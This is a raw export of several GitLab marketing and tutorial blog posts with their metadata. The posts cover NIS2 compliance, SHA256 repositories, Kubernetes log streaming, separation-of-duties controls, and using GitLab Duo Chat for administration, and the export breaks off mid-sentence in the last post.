requirements, or they can implement [SSO](https://docs.gitlab.com/ee/user/group/saml_sso/) to enhance the authentication process even further.\n\n## What’s next for NIS2?\n\nWhile member states have yet to issue broad guidance in response to the NIS2 directive, the GitLab platform is well positioned to address software development lifecycle requirements as they arise.\n\nTo learn more about the features throughout this article, see our library of [tutorials](https://docs.gitlab.com/ee/tutorials/).\n\n> To get started, [sign up for a free 30-day trial of GitLab Ultimate](https://gitlab.com/-/trial_registrations/new?glm_source=about.gitlab.com/blog&glm_content=default-saas-trial).\n",[479,674,695],{"slug":4888,"featured":92,"template":678},"how-gitlab-helps-meet-nis2-requirements","content:en-us:blog:how-gitlab-helps-meet-nis2-requirements.yml","How Gitlab Helps Meet Nis2 Requirements","en-us/blog/how-gitlab-helps-meet-nis2-requirements.yml","en-us/blog/how-gitlab-helps-meet-nis2-requirements",{"_path":4894,"_dir":5,"_draft":6,"_partial":6,"_locale":7,"seo":4895,"content":4901,"config":4907,"_id":4909,"_type":16,"title":4910,"_source":17,"_file":4911,"_stem":4912,"_extension":20},"/en-us/blog/gitlab-now-supports-sha256-repositories",{"title":4896,"description":4897,"ogTitle":4896,"ogDescription":4897,"noIndex":6,"ogImage":4898,"ogUrl":4899,"ogSiteName":1180,"ogType":1181,"canonicalUrls":4899,"schema":4900},"GitLab now supports SHA256 repositories","Try this experimental security feature to create test projects.","https://res.cloudinary.com/about-gitlab-com/image/upload/v1749667390/Blog/Hero%20Images/blog-image-template-1800x945__19_.png","https://about.gitlab.com/blog/gitlab-now-supports-sha256-repositories","\n                        {\n        \"@context\": \"https://schema.org\",\n        \"@type\": \"Article\",\n        \"headline\": \"GitLab now supports SHA256 repositories\",\n        \"author\": [{\"@type\":\"Person\",\"name\":\"John Cai\"}],\n        \"datePublished\": \"2024-08-19\",\n      }",{"title":4896,"description":4897,"authors":4902,"heroImage":4898,"date":4904,"body":4905,"category":834,"tags":4906},[4903],"John Cai","2024-08-19","Previously, we announced how GitLab [supports SHA256 repositories on\nthe backend in Gitaly](https://about.gitlab.com/blog/sha256-support-in-gitaly/). Now, we've added the ability to create new GitLab projects with the SHA256 hashing algorithm.\n\nYou can do so on the project creation page under “Experimental settings.”\n\n**Note: This feature is experimental and should only be used to create test projects.**\n\nWhile experimenting with this security feature, if you find any anomalies in the application,\nplease help us out and [file an issue with your feedback](https://gitlab.com/gitlab-org/gitlab/-/issues/new?issuable_template=SHA256%20Bug).\n",[674,1067,185,754],{"slug":4908,"featured":6,"template":678},"gitlab-now-supports-sha256-repositories","content:en-us:blog:gitlab-now-supports-sha256-repositories.yml","Gitlab Now Supports Sha256 Repositories","en-us/blog/gitlab-now-supports-sha256-repositories.yml","en-us/blog/gitlab-now-supports-sha256-repositories",{"_path":4914,"_dir":5,"_draft":6,"_partial":6,"_locale":7,"seo":4915,"content":4920,"config":4924,"_id":4926,"_type":16,"title":4927,"_source":17,"_file":4928,"_stem":4929,"_extension":20},"/en-us/blog/how-to-stream-logs-through-the-gitlab-dashboard-for-kubernetes",{"title":4916,"description":4917,"ogTitle":4916,"ogDescription":4917,"noIndex":6,"ogImage":2539,"ogUrl":4918,"ogSiteName":1180,"ogType":1181,"canonicalUrls":4918,"schema":4919},"How to stream logs through the GitLab Dashboard for Kubernetes","In GitLab 17.2, users can now view Kubernetes pod and container logs directly via the GitLab UI. This tutorial shows how to use this new feature to simplify monitoring Kubernetes infrastructure.","https://about.gitlab.com/blog/how-to-stream-logs-through-the-gitlab-dashboard-for-kubernetes","\n                        {\n        \"@context\": \"https://schema.org\",\n        \"@type\": \"Article\",\n        \"headline\": \"How to stream logs through the GitLab Dashboard for Kubernetes\",\n        \"author\": [{\"@type\":\"Person\",\"name\":\"Daniel Helfand\"}],\n        \"datePublished\": \"2024-08-19\",\n      }",{"title":4916,"description":4917,"authors":4921,"heroImage":2539,"date":4904,"body":4922,"category":734,"tags":4923},[2505],"Developers are context-switching more frequently, needing to understand and use multiple tools to accomplish complex tasks. These tools all have different user experiences and often do not present all the information needed to successfully develop, troubleshoot, and ship critical features. It is challenging enough to release and monitor software changes without also needing to understand so many tools.\n\nWith the addition of [pod log streaming through the GitLab Dashboard for Kubernetes in v17.2](https://about.gitlab.com/releases/2024/07/18/gitlab-17-2-released/#log-streaming-for-kubernetes-pods-and-containers), developers can go straight from a merge request review to watching a deployment rolled out to Kubernetes. This new feature will:\n- allow developers to avoid switching tooling\n- ease the process of troubleshooting and monitoring deployments and post-deployment application health\n- strengthen [GitOps workflows](https://docs.gitlab.com/ee/user/clusters/agent/gitops.html) to easily manage application and infrastructure changes\n\nThe new feature allows GitLab users to view the logs of pods and containers directly via the GitLab UI. In previous versions of GitLab, users could configure a GitLab project to view pods deployed to certain namespaces on an associated cluster. This new feature allows users to further monitor workloads running on Kubernetes without needing to switch to another tool.\n\nIn the sections below, you will learn how to use this new feature by adding a Kubernetes cluster to a GitLab project, deploying a sample workload to a cluster, and viewing the logs of this workload running on a cluster. \n\n> Need to know the basics of Kubernetes? [Read this quick introductory blog](https://about.gitlab.com/blog/kubernetes-the-container-orchestration-solution/).\n\n## Configure a GitLab project to view Kubernetes resources\n\nBefore proceeding with this section, the following prerequisites are required:\n* a remote Kubernetes cluster (i.e., not running locally on your machine)\n* access to a GitLab v17.2 account\n* [this repository](https://gitlab.com/gitlab-da/tutorials/cloud-native/gitlab-k8s-log-streaming-example) forked to a GitLab group to which you have access\n* Helm CLI\n* kubectl CLI\n\nOnce you have satisfied the prerequisites involved, add an agent configuration file to the GitLab project you forked. The configuration file allows users to control permissions around how GitLab users may interact with the associated Kubernetes cluster.\n\nYou can use the configuration file included in this GitLab project by changing the following file: `.gitlab/agents/k8s-agent/config.yaml`. Replace the `\u003CGitLab group>` in the id property shown below with the group where you have forked the example project. This config file will allow [GitLab to access your cluster via an agent](https://docs.gitlab.com/ee/user/clusters/agent/user_access.html) that can be installed on your cluster.\n\n```yaml\nuser_access:\n  access_as:\n    agent: {}\n  projects:\n    - id: \u003CGitLab group>/gitlab-k8s-log-streaming-example\n```\n\nOnce the above file is edited, you can commit and push these changes to the main branch of the project. \n\n## Add GitLab Kubernetes agent to cluster\n\nWith the agent configuration file added, now add the cluster to GitLab by installing an agent on your cluster. In the GitLab UI, go to your project and, on the left side of the screen, select **Operate > Kubernetes clusters**. Once on this page, select the **Connect a cluster** button on the right side of the screen. From the dropdown menu, you can then select the agent, which should be `k8s-agent`. Click **Register** to get instructions for how to install the agent on your cluster.\n\nThe instructions presented to you after registering the agent will be to run a helm command that will install the GitLab agent on your cluster. Before running the command locally, you will want to ensure your Kubernetes context is targeting the cluster you want to work with. Once you have verified you are using the correct kubeconfig locally, you can run the helm command to install the agent on your cluster.\n\nOnce both pods are running, GitLab should be able to connect to the agent. Run the following command to wait for the pods to start up:\n\n```shell\nkubectl get pods -n gitlab-agent-k8s-agent -w\n```\n\n## Deploy sample application to your cluster\n\nBefore you can view logs of a workload through GitLab, you first need to have something running on your cluster. To do this, you can run the following kubectl command locally. \n\n```shell\nkubectl apply -f https://gitlab.com/gitlab-da/tutorials/cloud-native/gitlab-k8s-log-streaming-example/-/raw/main/k8s-manifests/k8s.yaml\n```\n\nAfter the command runs successfully, you are now ready to complete the final step to set up a Kubernetes dashboard via GitLab.\n\n## View pod logs through the GitLab UI\n\nTo add the Kubernetes dashboard via the GitLab UI, go to your project and, on the left side of the screen, select **Operate > Environments**. On the top right side of the screen, select the **Create an environment**.\n\nNext, you can give your environment a name, select the GitLab agent (i.e. `k8s-agent`), and pick a namespace for the Kubernetes dashboard to focus on. Since the application is running in the `gitlab-k8s-log-streaming-example-dev` namespace, select this option from the namespace dropdown. After naming the environment and selecting the agent and namespace, click **Save**.\n\nAfter creating the environment, you should now see information about the application’s pods displayed via the GitLab UI.\n\n![Kubernetes logs - image 2](https://res.cloudinary.com/about-gitlab-com/image/upload/v1749676402/Blog/Content%20Images/Screenshot_2024-08-20_at_12.15.08_PM.png)\n\nGo to the right side of the screen and click **View Logs** to see logs for one of the pods associated with the application. \n\n![Kubernetes dashboard - image 1](https://res.cloudinary.com/about-gitlab-com/image/upload/v1749676402/Blog/Content%20Images/Screenshot_2024-08-20_at_12.16.56_PM.png)\n\n## Try it out and share feedback\n\nThe introduction of pod log streaming in GitLab v17.2 will help GitLab users get one step closer to managing complex deployments to Kubernetes, as well as monitoring and troubleshooting issues post deployment via a common user experience. We are excited to hear more about users’ experiences with this new enhancement and how it helps improve DevOps workflows around Kubernetes. To share your experience with us, you can open an issue to the [project associated with this tutorial](https://gitlab.com/gitlab-da/tutorials/cloud-native/gitlab-k8s-log-streaming-example). Or, [comment directly in the Kubernetes log streaming feedback issue](https://gitlab.com/gitlab-org/gitlab/-/issues/478379) to report information to the GitLab engineering team.\n\nMore information on getting started with the GitLab Dashboard for Kubernetes can be found in the documentation [here](https://docs.gitlab.com/ee/ci/environments/kubernetes_dashboard.html).\n\n> To explore the GitLab Dashboard for Kubernetes as well as other more advanced features of GitLab, sign up for [our free 30-day trial of GitLab Ultimate](https://about.gitlab.com/free-trial/).\n",[754,534,2509,696],{"slug":4925,"featured":92,"template":678},"how-to-stream-logs-through-the-gitlab-dashboard-for-kubernetes","content:en-us:blog:how-to-stream-logs-through-the-gitlab-dashboard-for-kubernetes.yml","How To Stream Logs Through The Gitlab Dashboard For Kubernetes","en-us/blog/how-to-stream-logs-through-the-gitlab-dashboard-for-kubernetes.yml","en-us/blog/how-to-stream-logs-through-the-gitlab-dashboard-for-kubernetes",{"_path":4931,"_dir":5,"_draft":6,"_partial":6,"_locale":7,"seo":4932,"content":4939,"config":4945,"_id":4948,"_type":16,"title":4949,"_source":17,"_file":4950,"_stem":4951,"_extension":20},"/en-us/blog/gitlab-17-3-release",{"title":4933,"description":4934,"ogTitle":4933,"ogDescription":4934,"config":4935,"ogImage":4936,"ogUrl":4937,"ogSiteName":1180,"ogType":1181,"canonicalUrls":4937,"schema":4938},"GitLab 17.3 Release","GitLab 17.3 released with GitLab Duo Root Cause Analysis.",{"noIndex":92},"https://res.cloudinary.com/about-gitlab-com/image/upload/v1749667608/Blog/Hero%20Images/product-gl17-blog-release-cover-17-3-0093-1800x945-fy25.png","https://about.gitlab.com/blog/gitlab-17-3-release","\n                        {\n        \"@context\": \"https://schema.org\",\n        \"@type\": \"Article\",\n        \"headline\": \"GitLab 17.3 Release\",\n        \"author\": [{\"@type\":\"Person\",\"name\":\"Gabe Weaver\"}],\n        \"datePublished\": \"2024-08-15\",\n      }",{"title":4933,"description":4934,"authors":4940,"heroImage":4936,"date":4942,"body":4943,"category":695,"tags":4944},[4941],"Gabe Weaver","2024-08-15","This is the post for [the GitLab 17.3 release](https://about.gitlab.com/releases/2024/08/15/gitlab-17-3-released/).",[774,695],{"slug":4946,"featured":6,"template":678,"externalUrl":4947},"gitlab-17-3-release","https://about.gitlab.com/releases/2024/08/15/gitlab-17-3-released/","content:en-us:blog:gitlab-17-3-release.yml","Gitlab 17 3 Release","en-us/blog/gitlab-17-3-release.yml","en-us/blog/gitlab-17-3-release",{"_path":4953,"_dir":5,"_draft":6,"_partial":6,"_locale":7,"seo":4954,"content":4960,"config":4967,"_id":4969,"_type":16,"title":4970,"_source":17,"_file":4971,"_stem":4972,"_extension":20},"/en-us/blog/finserv-how-to-implement-gitlabs-separation-of-duties-features",{"title":4955,"description":4956,"ogTitle":4955,"ogDescription":4956,"noIndex":6,"ogImage":4957,"ogUrl":4958,"ogSiteName":1180,"ogType":1181,"canonicalUrls":4958,"schema":4959},"FinServ: How to implement GitLab's separation of duties features","Learn how GitLab ensures secure, compliant software development with separation of duties in the financial services sector, including features that help adhere to regulatory frameworks.","https://res.cloudinary.com/about-gitlab-com/image/upload/v1750097688/Blog/Hero%20Images/Blog/Hero%20Images/blog-image-template-1800x945%20%286%29_6vL96ttKF8zJLLqfPpvFs_1750097687913.png","https://about.gitlab.com/blog/finserv-how-to-implement-gitlabs-separation-of-duties-features","\n                        {\n        \"@context\": \"https://schema.org\",\n        \"@type\": \"Article\",\n        \"headline\": \"FinServ: How to implement GitLab's separation of duties features\",\n        \"author\": [{\"@type\":\"Person\",\"name\":\"Cherry Han\"},{\"@type\":\"Person\",\"name\":\"Gavin Peltz\"}],\n        \"datePublished\": \"2024-08-13\",\n      }",{"title":4955,"description":4956,"authors":4961,"heroImage":4957,"date":4964,"body":4965,"category":674,"tags":4966},[4962,4963],"Cherry Han","Gavin Peltz","2024-08-13","Throughout software development, robust security and compliance measures are required, especially in industries like financial services where data integrity and regulatory adherence are non-negotiable. One critical aspect of maintaining these standards is separation of duties (SoD). SoD ensures that no individual has complete control over a process from beginning to end, thereby reducing the risk of errors and unauthorized activities. SoD mitigates software supply chain risks by preventing external and malicious acts that could compromise the integrity of the software development process.\n\n## Importance of SoD in the financial services industry\n\nIn the financial services sector, SoD plays a pivotal role in safeguarding sensitive information and upholding regulatory compliance. Here’s how SoD contributes strategically to the industry:\n\n* **Risk mitigation:** By distributing responsibilities across different roles, SoD reduces the risk of errors, fraud, and unauthorized activities that could compromise system integrity or regulatory compliance.\n* **Enhanced accountability:** Clear division of duties guarantees that no individual can independently initiate, authorize, and execute a process from start to finish. This promotes transparency and accountability, which are crucial for maintaining trust with stakeholders and regulatory bodies.\n* **Regulatory compliance:** SoD is mandated by financial regulations so that sensitive operations are conducted with oversight and scrutiny. Compliance with these standards not only avoids penalties, but also protects the organization's reputation.\n* **Operational resilience:** By decentralizing decision-making and execution, organizations become less susceptible to disruptions caused by human errors, malicious actions, or unexpected events.\n\n## GitLab for SoD and best practices\nGitLab provides end-to-end separation of duties covering the DevSecOps workflow.\n\n![FinServ SOD - image 1](https://res.cloudinary.com/about-gitlab-com/image/upload/v1750097695/Blog/Content%20Images/Blog/Content%20Images/image1_aHR0cHM6_1750097695697.png)\n\nThe diagram above illustrates the integration of key elements like merge request approval policies, protected features, user permissions, compliance frameworks, and audit events, all working together to uphold the principles of SoD. Each of these components is detailed in the sections below, demonstrating how to establish a secure and compliant development environment.\n\n### Merge request approval policies\n\nOne challenge the financial services industry faces is the implementation of approval mechanisms that prevent unauthorized or unchecked changes from being integrated. This is where [merge request approval policies](https://docs.gitlab.com/ee/user/application_security/policies/scan-result-policies.html) come into play. These policies enforce the separation of duties between security and development, preventing individual developers from approving their own code changes if they contain vulnerabilities, and development teams from deploying their code directly to production environments without appropriate oversight. \n\nWhen creating a policy, it’s advisable to consider who would be an appropriate approver. This can be defined as an individual user, group such as the Application Security team, or role type such as a Maintainer. To implement further restrictions, please consider these key policy features:\n\n- Prevent approval by author: This policy puts a guardrail in place so that a merge request author cannot approve their own changes. By requiring independent review, this policy helps maintain objectivity and impartiality in the approval process.\n\n- Prevent approvals by users who add commits: Users who have added commits to a merge request are also prevented from approving it. This further enforces the principle of independent review so changes are scrutinized by team members who are not directly involved in the modifications.\n\n- Prevent editing approval rules: To maintain the integrity of the approval process, GitLab allows administrators to prevent editing approval rules at the project or merge request level. This guarantees that once approval policies are defined, they cannot be bypassed or altered by unauthorized users.\n\n- Require user password to approve: For an added layer of security, GitLab can require users to enter their password to approve a merge request. \n\nTo maintain a clear separation of duties, it is advisable to [create a separate top-level group](https://docs.gitlab.com/ee/user/application_security/policies/#enforce-policies-globally-in-gitlab-dedicated-or-your-gitlab-self-managed-instance) dedicated to housing your security policies, including merge request approval policies. This setup minimizes the number of users who inherit permissions and enforces tighter control over policy management. From this separate group, you can [link security policy projects](https://docs.gitlab.com/ee/user/application_security/policies/#link-to-a-security-policy-project) at the highest group level that aligns with your objectives, reducing policy management overhead and providing comprehensive coverage across your development environment.\n\nIt's also important to note that when a policy is enabled by default, it applies to all projects within the associated linked groups, subgroups, and individual projects. If you want to enforce policies more selectively, GitLab recommends you scope your policies to a [compliance framework label](https://docs.gitlab.com/ee/user/group/compliance_frameworks.html). Commonly, our highly regulated customers will architect compliance labels that correspond with regulatory requirements, like “SOX” and “PCI.\" This link to a framework also enables the [native compliance center](https://docs.gitlab.com/ee/user/compliance/compliance_center/) to manage security policies tailored to various use cases.\n\n### Compliance frameworks and controls\n\nCustomers in regulated industries face significant challenges in maintaining compliance in large organizations. Manual processes are prone to errors, and maintaining consistent enforcement of policies across teams can be difficult.\n\nBy using GitLab's compliance frameworks, organizations can automate and administer preventive measures, systematically manage risks, and enforce regulatory compliance seamlessly. These frameworks can enforce security protocols and custom jobs across any pipeline. \n\nTo safeguard compliance settings at the organizational level, GitLab allows only group or project owners to add or remove compliance frameworks. This measure blocks development teams or managers from altering compliance configurations without appropriate permission levels, providing an additional layer of security. It’s important to note that if an individual with Maintainer permission is allowed to create a subgroup, they become the owners of that subgroup and can change the compliance framework. This can be prevented by [limiting who can create subgroups](https://docs.gitlab.com/ee/user/group/subgroups/#change-who-can-create-subgroups) under permissions and group settings.\n\n## SoD through permissions and roles\n\nTo effectively enforce the separation of duties in the financial services industry, it's essential to establish clear and precise access control. GitLab provides a tiered [permissions model](https://docs.gitlab.com/ee/user/permissions.html) with predefined roles such as Guest, Reporter, Developer, Maintainer, and Owner. Each role has a specific set of permissions so individuals can perform their duties without overstepping boundaries, which could lead to conflicts of interest or security risks. GitLab recommends assigning roles following the [principle of least privilege access](https://about.gitlab.com/blog/the-ultimate-guide-to-least-privilege-access-with-gitlab/).\n\nFor organizations with granular needs, particularly those using GitLab Ultimate, [custom roles](https://docs.gitlab.com/ee/user/custom_roles.html) offer even greater flexibility. These roles allow organizations to define specific permissions tailored to their unique workflows and compliance requirements. This is particularly useful in enforcing the separation of duties because no individual can perform conflicting tasks.\n\nA common use case is the need for a deployer role — individuals who need to deploy jobs but should not have access to edit or push code. GitLab addresses this requirement through the use of [protected environments](https://docs.gitlab.com/ee/ci/environments/protected_environments.html#protecting-environments). Protected environments allow you to [invite groups approved to deploy jobs](https://docs.gitlab.com/ee/ci/environments/protected_environments.html#deployment-only-access-to-protected-environments) while limiting the role of users to Reporters. Please note that the deployment job should include the environment keyword. This configuration enables users to deploy jobs without the ability to edit the code, ensuring compliance requirements are met. \n\nBy carefully defining and enforcing roles and permissions, organizations can create a secure and compliant development environment. If you’d like to review your user permissions on a broader scale, you can use this [Group Member report](https://gitlab.com/gitlab-com/cs-tools/gitlab-cs-tools/gitlab-group-member-report) to see how many members of a role are in your environment and evaluate the next steps accordingly.\n\n## Protected features\nGitLab offers several “protected” features to enforce additional layers of control over your development process. These features can be vital for maintaining SoD so that only designated individuals can make significant changes.\n\n- Protected branches: A protected branch restricts who can push, merge, or force push to the branch. This is particularly beneficial for branches like “main” or “production,\" so that only authorized users can make modifications.\n- Protected Git tags: These tags allow control over who has permission to create tags. This prevents accidental updates or deletions once the tag is created, preserving the integrity of your versioning.\n- Protected environments: Protecting specific environments, especially productions, from unauthorized access is imperative. In a protected environment, only users with the appropriate privileges can deploy to it, safeguarding the environment from unintended changes. This ties back to the deployer role functionality mentioned earlier, where individuals can deploy jobs without editing the code, establishing compliance and security.\n- Protected packages: Using package protection rules restricts which users can make changes to your packages. \nThese protected features collectively help maintain a secure and compliant development environment that aligns with the principles of SoD.\n\n## Audit event and compliance center\nHaving discussed approval policies, compliance frameworks, roles, and protected features, the final step is how GitLab allows you to monitor and audit these implementations to guarantee adherence. GitLab's [audit events](https://docs.gitlab.com/ee/user/compliance/audit_events.html) provide a detailed record of activities and changes, such as user activity and project modifications, for owners and admins. This logging is vital for tracking user actions and detecting unauthorized behavior. [Audit event streaming](https://docs.gitlab.com/ee/user/compliance/audit_event_streaming.html) enhances this by allowing organizations to stream audit events to external systems for real-time analysis and alerting. By doing so, any alterations or violations are detected, allowing swift remediation.\n\nThe [Compliance Center in GitLab](https://docs.gitlab.com/ee/user/compliance/compliance_center/) is a centralized hub for managing and monitoring compliance activities. It provides an overview of compliance status across projects and groups, highlighting violations of merge request approval rules or other policies. Administrators can promptly address issues, certifying adherence to predefined compliance standards. This centralized approach simplifies compliance management, maintaining a high level of oversight and control.\n\n> If you are interested in learning more about GitLab’s thoughts on SoD and compliance, check out the  [GitLab Govern product direction](https://about.gitlab.com/direction/govern/) and the [GitLab compliance documentation](https://docs.gitlab.com/ee/administration/compliance.html). \n\n## Read more\n\n- [Meet regulatory standards with GitLab compliance & security policy management](https://about.gitlab.com/blog/meet-regulatory-standards-with-gitlab/)\n- [Building GitLab with GitLab: Expanding our security certification portfolio](https://about.gitlab.com/blog/building-gitlab-with-gitlab-expanding-our-security-certification-portfolio/)\n- [Online retailer bol tackles growing compliance needs with GitLab](https://about.gitlab.com/blog/online-retailer-bol-tackles-growing-compliance-needs-with-gitlab/)",[674,479,695,555],{"slug":4968,"featured":6,"template":678},"finserv-how-to-implement-gitlabs-separation-of-duties-features","content:en-us:blog:finserv-how-to-implement-gitlabs-separation-of-duties-features.yml","Finserv How To Implement Gitlabs Separation Of Duties Features","en-us/blog/finserv-how-to-implement-gitlabs-separation-of-duties-features.yml","en-us/blog/finserv-how-to-implement-gitlabs-separation-of-duties-features",{"_path":4974,"_dir":5,"_draft":6,"_partial":6,"_locale":7,"seo":4975,"content":4980,"config":4985,"_id":4987,"_type":16,"title":4988,"_source":17,"_file":4989,"_stem":4990,"_extension":20},"/en-us/blog/mastering-gitlab-admin-tasks-with-gitlab-duo-chat",{"title":4976,"description":4977,"ogTitle":4976,"ogDescription":4977,"noIndex":6,"ogImage":4374,"ogUrl":4978,"ogSiteName":1180,"ogType":1181,"canonicalUrls":4978,"schema":4979},"Mastering GitLab admin tasks with GitLab Duo Chat","Learn how to use Chat to streamline administrative tasks on self-managed instances, improving efficiency and problem-solving capabilities.","https://about.gitlab.com/blog/mastering-gitlab-admin-tasks-with-gitlab-duo-chat","\n                        {\n        \"@context\": \"https://schema.org\",\n        \"@type\": \"Article\",\n        \"headline\": \"Mastering GitLab admin tasks with GitLab Duo Chat\",\n        \"author\": [{\"@type\":\"Person\",\"name\":\"David O'Regan\"}],\n        \"datePublished\": \"2024-08-09\",\n      }",{"title":4976,"description":4977,"authors":4981,"heroImage":4374,"date":4982,"body":4983,"category":791,"tags":4984},[2680],"2024-08-09","As a GitLab administrator managing a self-hosted instance, you often face complex challenges that require innovative solutions. Enter [GitLab Duo Chat](https://about.gitlab.com/gitlab-duo/) – your AI-powered assistant that can significantly streamline your administrative tasks. In this article, we'll explore how you can leverage GitLab Duo Chat to solve intricate problems efficiently, using a real-world example of updating group memberships across multiple groups.\n\n## The power of GitLab Duo Chat for admins\n\nGitLab Duo Chat is more than just conversational AI; it's a powerful tool that can assist with complex administrative tasks. By providing context-aware suggestions and code snippets, Chat can help you navigate through GitLab's extensive feature set and underlying architecture.\n\n### Case study: Updating group memberships\n\nLet's dive into a scenario where an admin needs to add an administrator user to multiple [groups](https://docs.gitlab.com/ee/user/group/) – in this case, 50,000 groups. This task, while conceptually simple, can be daunting due to its scale.\n\n\u003C!-- blank line -->\n\u003Cfigure class=\"video_container\">\n  \u003Ciframe src=\"https://www.youtube.com/embed/dBd957MK_DE?si=JYTzdRjVQHyB6rpl\" frameborder=\"0\" allowfullscreen=\"true\"> \u003C/iframe>\n\u003C/figure>\n\u003C!-- blank line -->\n\n## Step-by-step problem-solving with GitLab Duo Chat\n\n* **Initial approach:** Our first instinct might be to use GitLab's API, but with 50,000 groups, this could put significant strain on the system.\n* **Pivoting to the Rails console:** Instead, we can use the Rails console for a more efficient solution. Here's where Chat comes in handy.\n* **Crafting the solution:** Let's walk through the process of creating a Ruby script to accomplish our task:\n\n``` python\n\ndef add_admin_to_groups(parent_group, admin_user)\n     unless parent_group.members.exists?(user_id: admin_user.id)\n       parent_group.add_owner(admin_user)\n       puts \"Added #{admin_user.name} to #{parent_group.name}\"\n     end\n\n    parent_group.descendants.each do |subgroup|\n      add_admin_to_groups(subgroup, admin_user)\n    end\n  end\n\n# Usage\n\nadmin_user = User.find_by(username: 'mr_admin')\nparent_group = Group.find_by(path: 'top_group')\nadd_admin_to_groups(parent_group, admin_user)\n```\n\n* **Iterative refinement:** Through conversation with Chat, we refined this script, addressing issues like method availability and parameter requirements.\n\n### Key takeaways\n\n#### Non-deterministic responses\n\nGitLab Duo Chat may provide different answers to the same question, encouraging exploration of multiple solutions. As an example:\n\nAn admin asks, ***How can I improve CI/CD pipeline performance?***\n\nChat's first response could be:\n***Consider using GitLab CI/CD caching to speed up subsequent pipeline runs. Here's an example .gitlab-ci.yml snippet:***\n\n```\ncache:\n  key: ${CI_COMMIT_REF_SLUG}\n  paths:\n    - node_modules/    \n ```\n\n***This caches the `node_modules` directory, reducing build times for Node.js projects.***\n\nWhen asked again, Chat's second response could be: ***To improve CI/CD performance, try parallelizing your jobs. Here's an example:***\n\n```\ntest:\n  parallel: 3\n```\n\n***This runs your test job across three parallel runners, potentially reducing overall pipeline duration.***\n\n### Error interpretation and debugging\n\nChat can help interpret error messages and suggest fixes. As an example, an admin encounters an error: \"fatal: reference is not a tree: 8a7d460\". They could ask Chat: ***I'm seeing this Git error. What does it mean and how can I fix it?***\n\nChat could respond with:\n\n***This error typically occurs when Git can't find a specific commit. It could be due to a corrupted repository or incomplete fetch. Try these steps:***\n* ***Run `git fsck` to check for corruption.***\n* ***If that doesn't work, try git fetch --all --prune to update all remotes.***\n* ***If the issue persists, you might need to re-clone the repository.***\n\n***Always back up your repository before attempting these fixes.***\n\n### Code optimization and refactoring\n\nChat can assist in optimizing and refactoring code for better performance.\n\nAn example: An admin wants to optimize a Gitaly configuration for a large instance. They could ask Chat: ***How can I optimize Gitaly for an instance with 10,000+ repositories?***\n\nChat could respond with: ***For a large instance, consider this optimized Gitaly configuration:***\n\n```\n[concurrency]\nrpc_concurrency = 100\n\n[rate_limiting]\nrpc_rate_limit = 100\n\n[cgroups]\nmountpoint = '/sys/fs/cgroup'\nhierarchy_root = 'gitaly'\nmemory_bytes = 30000000000  # Adjust based on available memory\ncpu_shares = 1024\n```\n***This configuration increases concurrency, implements rate limiting to prevent overload, and uses cgroups (control groups) to manage resource allocation. Adjust values based on your specific hardware and needs.***\n\n## Best practices for using GitLab Duo Chat in admin tasks\n\n### Formulate queries clearly and provide context\n\nWhen using Chat, the quality of the response largely depends on the quality of your query. Clear, detailed questions that provide relevant context will yield more accurate and helpful answers.\n\nPoor query: ***Why is GitLab slow?***\n\nThis query lacks specifics and context, making it difficult for Chat to provide a targeted response. \n\nA better query would be: ***Our GitLab instance with 5,000 users and 3,000 projects is experiencing slow response times, especially during peak hours (9-11 AM EST). CPU usage on the application servers spikes to 90%. How can we diagnose and address this?***\n\nThis improved query provides crucial details:\n\n* scale of the instance (5,000 users, 3,000 projects)\n* nature of the problem (slow response times)\n* timing of the issue (peak hours, 9-11 AM EST)\n* observed symptoms (90% CPU spike)\n\nWith this information, Chat can provide more targeted advice.\n\nAn even better query would be: ***We're running GitLab 15.8.3 on a 3-node cluster (8 vCPUs, 32GB RAM each) with a separate PostgreSQL 13 database and Redis 6.2 instance. Our instance hosts 5,000 users and 3,000 projects. We're experiencing slow response times (average 5s, up from our usual 1s) during peak hours (9-11 AM EST), primarily affecting merge request creation and pipeline initiation. CPU usage on the application servers spikes to 90%, while database CPU remains under 60%. Gitaly CPU usage is around 70%. We've already increased Puma workers to 8 per node. What additional diagnostics should we run and what potential solutions should we consider?***\n\nThis query provides an extensive context, including:\n* GitLab version and infrastructure details\nspecific performance metrics (response time increase)\n* affected operations (merge requests, pipelines)\n* resource usage across different components\n* steps already taken to address the issue\n\nBy providing this level of detail, you enable Chat to:\n* understand the full scope of your environment\n* identify potential bottlenecks more accurately\n* suggest relevant diagnostic steps\n* propose solutions tailored to your specific setup\n\nAvoid recommending steps you've already taken.\n\nRemember, while GitLab Duo Chat is powerful, it's not omniscient. The more relevant information you provide, the better it can assist you. By following these guidelines, you'll get the most out of your interactions with Chat, leading to more effective problem-solving and administration of your GitLab instance.\n\n### Use GitLab Duo Chat's suggestions as a starting point and refine incrementally\n\nChat is an excellent tool for getting started with complex tasks, but it's most effective when used as part of an iterative process. Begin with a broad question, then use Chat's responses to guide your follow-up questions, gradually refining your understanding and solution.\n\n#### Initial query\n\nAdmin: ***How can I set up Geo replication for disaster recovery?***\n\nChat might respond with a basic setup guide, covering:\n- prerequisites for Geo setup\n- steps to configure the primary node\n- process for adding a secondary node\n- initial replication process\n\nThis provides a foundation, but complex setups like Geo often require more nuanced understanding. Here's how you might refine your queries:\n\n**- Follow-up Query 1**\n\nAdmin: ***How do I handle custom data in Geo replication?***\nThis question addresses a specific concern not covered in the initial setup. \n\n**- Follow-up Query 2**\n\nAdmin: ***What's the best way to test failover without disrupting production?***\n\nThis query focuses on a critical operational concern. \n\n**- Follow-up Query 3**\n\nAdmin: ***Can you help me create a runbook for Geo failover?***\n\nThis final query aims to consolidate the gathered information into a practical guide. The benefits of this incremental approach:\n\n1. By breaking down the complex topic of Geo replication into smaller, focused queries, you gain a more thorough understanding of the subject.\n2. Each follow-up question allows you to address specific concerns relevant to your environment, resulting in a more customized solution.\n3. The progression from setup to testing to creating a runbook ensures that you're not just understanding the theory, but also preparing for real-world implementation.\n4. The step-by-step process of refining your queries helps in better retention of the information, as you're actively engaging with the content.\n5. Follow-up questions often reveal aspects of the task you might not have initially considered, leading to a more robust final solution.\n\n#### Best practices for incremental refinement\n\n- Start with broad questions to establish a foundation.\n- Use Chat's responses to identify areas that need more clarification or detail.\n- Ask about specific scenarios or edge cases relevant to your environment.\n- Seek practical advice on implementation, testing, and maintenance.\n- Use your growing understanding to formulate increasingly specific and complex queries.\n- Periodically summarize your understanding and ask Chat to validate or correct it.\n\nRemember, while GitLab Duo Chat is a powerful tool, it's most effective when combined with your own critical thinking and domain knowledge. Use it to guide your learning and decision-making process, but always validate important information and test solutions in a safe environment before applying them to production systems.\n\n### Potential applications for self-managed GitLab instances\n\n#### User management at scale\n\nAdmin: ***We need to onboard 1,000 